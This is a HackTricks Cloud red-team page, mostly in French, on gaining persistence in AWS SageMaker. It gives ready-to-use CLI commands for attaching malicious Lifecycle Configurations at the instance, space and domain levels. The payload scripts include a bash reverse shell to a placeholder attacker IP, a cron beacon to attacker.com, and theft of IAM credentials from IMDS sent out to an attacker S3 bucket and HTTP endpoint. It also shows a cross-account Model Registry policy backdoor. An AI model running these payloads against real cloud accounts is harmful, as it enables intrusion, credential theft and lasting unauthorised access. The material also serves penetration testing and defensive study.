AWS - SageMaker Persistence
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Vue d'ensemble des techniques de persistance
Cette section décrit des méthodes pour obtenir de la persistance dans SageMaker en abusant des Lifecycle Configurations (LCCs), y compris reverse shells, cron jobs, credential theft via IMDS, et SSH backdoors. Ces scripts s'exécutent avec l'IAM role de l'instance et peuvent persister après des redémarrages. La plupart des techniques requièrent un accès réseau sortant, mais l'utilisation de services sur le AWS control plane peut néanmoins permettre de réussir si l'environnement est en 'VPC-only" mode.
tip
Remarque : SageMaker notebook instances sont essentiellement des instances EC2 gérées, configurées spécifiquement pour des charges de travail d'apprentissage automatique.
Autorisations requises
- Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
- Applications Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
Configurer la Lifecycle Configuration sur les Notebook Instances
Exemples de commandes AWS CLI :
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
Configurer une Lifecycle Configuration sur SageMaker Studio
Les Lifecycle Configurations peuvent être attachées à plusieurs niveaux et à différents types d'applications dans SageMaker Studio.
Niveau du domaine Studio (tous les utilisateurs)
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Studio Space Niveau (Spaces individuels ou partagés)
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Types de configurations du cycle de vie des applications Studio
Les configurations du cycle de vie peuvent être appliquées spécifiquement à différents types d'applications SageMaker Studio :
- JupyterServer: Exécute des scripts au démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme les reverse shells et les cron jobs.
- KernelGateway: S'exécute au lancement de l'application kernel gateway, utile pour la configuration initiale ou un accès persistant.
- CodeEditor: S'applique au Code Editor (Code-OSS), permettant l'exécution de scripts au démarrage des sessions d'édition de code.
Exemple de commande pour chaque type :
JupyterServer
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
KernelGateway
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
CodeEditor
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
Critical Info:
- L'attachement de LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre.
- Nécessite des permissions élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — généralement plus faisable au niveau de l'espace qu'au niveau du domaine.
- Des contrôles au niveau réseau (p. ex., strict egress filtering) peuvent empêcher les reverse shells réussis ou la data exfiltration.
Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant disposant des permissions peut établir un reverse shell persistant.
Payload Example:
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
Cron Job Persistence via Lifecycle Configuration
Un attaquant peut injecter des cron jobs via des scripts LCC, garantissant l'exécution périodique de scripts ou commandes malveillants, permettant une persistence furtive.
Payload Example:
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
Credential Exfiltration via IMDS (v1 & v2)
Les configurations de lifecycle peuvent interroger l'Instance Metadata Service (IMDS) pour récupérer des identifiants IAM et les exfiltrer vers un emplacement contrôlé par un attaquant.
Payload Example:
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
Persistance via la politique basée sur la ressource du Model Registry (PutModelPackageGroupPolicy)
Abusez la politique basée sur la ressource d'un SageMaker Model Package Group pour accorder à un principal externe des droits cross-account (p.ex., CreateModelPackage/Describe/List). Cela crée une porte dérobée durable permettant de pousser des versions de modèle empoisonnées ou de lire les métadonnées/artéfacts du modèle, même si l'IAM user/role de l'attaquant dans le compte victime est supprimé.
Required permissions
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy
Étapes (us-east-1)
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON
# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
Remarques
- Pour une vraie backdoor cross-account, restreignez Resource à l'ARN du groupe spécifique et utilisez l'ID de compte AWS de l'attacker dans Principal.
- Pour un déploiement cross-account de bout en bout ou des lectures d'artifacts, alignez les grants S3/ECR/KMS avec l'attacker account.
Impact
- Contrôle persistant cross-account d'un Model Registry group : l'attacker peut publier des versions de modèle malveillantes ou énumérer/lire les métadonnées des modèles même après que leurs entités IAM ont été supprimées dans le victim account.
Backdoor cross-account du Model Registry Canvas (UpdateUserProfile.ModelRegisterSettings)
Exploiter les paramètres utilisateur de SageMaker Canvas pour rediriger silencieusement les écritures du model registry vers un compte contrôlé par l'attacker en activant ModelRegisterSettings et en pointant CrossAccountModelRegisterRoleArn vers un attacker role dans un autre compte.
Permissions requises
- sagemaker:UpdateUserProfile sur le UserProfile cible
- Optionnel : sagemaker:CreateUserProfile sur un Domain que vous contrôlez
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud